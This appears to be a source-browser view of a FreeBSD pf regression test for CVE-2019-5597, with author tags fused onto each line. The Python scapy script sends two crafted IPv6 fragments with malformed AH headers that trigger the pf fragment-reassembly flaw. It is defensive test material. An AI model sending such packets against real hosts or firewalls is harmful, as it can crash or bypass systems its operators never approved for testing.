xref: /freebsd/tests/sys/netpfil/pf/CVE-2019-5597.py (revision f0297f121aee3ff9ae6de9d445fc4a7981385d05)
1*f0297f12SBjoern A. Zeeb#!/usr/bin/env python
215426769SKristof Provost
315426769SKristof Provostimport random
415426769SKristof Provostimport scapy.all as sp
515426769SKristof Provostimport sys
615426769SKristof Provost
715426769SKristof ProvostUDP_PROTO  = 17
815426769SKristof ProvostAH_PROTO   = 51
915426769SKristof ProvostFRAG_PROTO = 44
1015426769SKristof Provost
1115426769SKristof Provostdef main():
1215426769SKristof Provost    intf = sys.argv[1]
1315426769SKristof Provost    ipv6_src = sys.argv[2]
1415426769SKristof Provost    ipv6_dst = sys.argv[3]
1515426769SKristof Provost
1615426769SKristof Provost    ipv6_main = sp.IPv6(dst=ipv6_dst, src=ipv6_src)
1715426769SKristof Provost
1815426769SKristof Provost    padding = 8
1915426769SKristof Provost    fid = random.randint(0,100000)
2015426769SKristof Provost    frag_0 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=1, offset=0)
21*f0297f12SBjoern A. Zeeb    foff_1 = (int)(padding/8)
22*f0297f12SBjoern A. Zeeb    frag_1 = sp.IPv6ExtHdrFragment(id=fid, nh=UDP_PROTO, m=0, offset=foff_1)
2315426769SKristof Provost
2415426769SKristof Provost    pkt1_opts = sp.AH(nh=AH_PROTO, payloadlen=200) \
2515426769SKristof Provost            / sp.Raw('XXXX' * 199) \
2615426769SKristof Provost            / sp.AH(nh=FRAG_PROTO, payloadlen=1) \
2715426769SKristof Provost            / frag_1
2815426769SKristof Provost
2915426769SKristof Provost    pkt0 = sp.Ether() / ipv6_main / frag_0 / sp.Raw('A' * padding)
3015426769SKristof Provost    pkt1 = sp.Ether() / ipv6_main / pkt1_opts / sp.Raw('B' * padding)
3115426769SKristof Provost
3215426769SKristof Provost    sp.sendp(pkt0, iface=intf, verbose=False)
3315426769SKristof Provost    sp.sendp(pkt1, iface=intf, verbose=False)
3415426769SKristof Provost
3515426769SKristof Provostif __name__ == '__main__':
3615426769SKristof Provost	main()
37